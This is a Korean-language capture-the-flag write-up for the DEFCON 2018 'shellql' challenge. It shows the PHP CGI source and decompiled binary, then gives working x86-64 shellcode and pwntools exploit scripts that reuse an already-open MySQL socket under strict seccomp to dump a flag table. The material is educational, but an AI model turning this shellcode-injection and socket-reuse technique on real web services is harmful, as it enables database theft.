DEFCON 2018 - shellql(shellcode, web)

read the flag from the MySQL database.
table name is flag.
(shellme.so)

1. php source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/php-cgi
if (isset($_GET['source']))
{
show_source(__FILE__);
exit();
}

$link = mysqli_connect('localhost', 'shellql', 'shellql', 'shellql');

if (isset($_POST['shell']))
{
if (strlen($_POST['shell']) <= 1000)
{
echo $_POST['shell'];
shellme($_POST['shell']);
}
exit();
}

CGI를 사용하는 문제다. shellme를 실행하기 전에 mysqli_connect를 이용하여 db에 연결하고 있다.

2. CGI binary (shellme.so)

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall shell_this(void *src)
{
size_t v1; // rbx
void *shellcode; // rbp

v1 = (signed int)strlen((const char *)src);
shellcode = mmap(0LL, v1, 7, 34, -1, 0LL);
memcpy(shellcode, src, v1);
alarm(0x1Eu);
prctl(22, 1LL);
return ((__int64 (*)(void))shellcode)();
}

shellcode를 실행하기 전에 prctl(22, 1LL);를 실행한다. define된 값을 찾아보면 prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT)이다. 따라서 SECCOMP로 인해서 read, write, exit, sigreturn. 이 네 가지의 syscall만 사용가능하게 제한 된다.

3. shellcode

일단 쉘코드를 만들어서 실행시켜 보자.

이때 주의할 점은 반드시 출력결과에 “\n”가 존재해야 한다는 것이다.
CGI의 output이 HTTP response가 되기 때문에 “\n”이 없다면 500 error가 나게 된다.

1
2
3
4
5
6
7
8
9
10
11
0:  68 0a 41 41 41          push   0x4141410a
5: 48 89 e6 mov rsi,rsp
8: 48 31 c0 xor rax,rax
b: 48 ff c0 inc rax
e: 48 31 ff xor rdi,rdi
11: 48 ff c7 inc rdi
14: 48 31 d2 xor rdx,rdx
17: b2 04 mov dl,0x4
19: 0f 05 syscall

680A4141414889E64831C048FFC04831FF48FFC74831D2B2040F05

일단 “\nAAA”가 출력되게 어셈을 짜봤다.
v1 = (signed int)strlen((const char *)src);를 보면 알겠지만 strlen때문에 쉘코드에 NULL byte가 들어가면 안된다는것에 주의해야 한다.

test.py

1
2
3
4
5
6
7
8
import requests

url = "http://b9d6d408.quals2018.oooverflow.io/cgi-bin/index.php"

shellcode = '680A4141414889E64831C048FFC04831FF48FFC74831D2B2040F05'.decode('hex')
r = requests.post(url, data={'shell': shellcode})

print r.text

정말 잘 출력된다.

만약, “\nAAA”가 아닌 “AAAA”를 출력하는걸로 짰다면 500 error가 나는걸 볼 수 있을 것이다.

4. MySQL Protocol

문제에서 요구한 것은 database에 있는 flag를 읽어오는 것이었다. database와 통신하기 위해서 shellme를 실행하기 이전에 있던 $link = mysqli_connect('localhost', 'shellql', 'shellql', 'shellql');를 이용할 수 있다.

database와 통신하는 소켓이 열려있으니 해당하는 fd값만 찾는다면 write, read를 통해 통신할 수 있다.

자세한 프로토콜은 아래에 적혀있었던 것을 참고했다.

MySQL Text Protocol
(https://dev.mysql.com/doc/internals/en/com-query.html)

5. Solve

조사해본 결과 database와 통신할 수 있는 fd는 4번이었다.
4번으로 원하는 쿼리를 보낸다음 그 결과를 출력하면 된다.

p.s shellcraft 갓…

solve.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
import requests

context(arch='amd64', os='linux')

query = '\x03' + 'SELECT * FROM flag'
packet = p32(len(query)) + query

stdout = 1
sql_fd = 4

payload = shellcraft.echo('\n', stdout) # for 200 response
payload += shellcraft.pushstr(packet)
payload += shellcraft.write(sql_fd, 'rsp', len(packet))
payload += shellcraft.read(sql_fd, 'rsp', 10000)
payload += shellcraft.write(stdout, 'rsp', 'rax')

shellcode = asm(payload)

url = "http://b9d6d408.quals2018.oooverflow.io/cgi-bin/index.php"

r = requests.post(url, data={'shell': shellcode})

print r.text

6. 여담

사실 이 문제를 풀때는 500 error를 해결하지 못했었다. 줄바꿈 하는게 왜 생각이 안났었는지…
그래서 결과를 한 글자씩 bit단위로 읽어와서 time based blind로 풀었다. 그 와중에 flag는 얼마나 길던지…

Share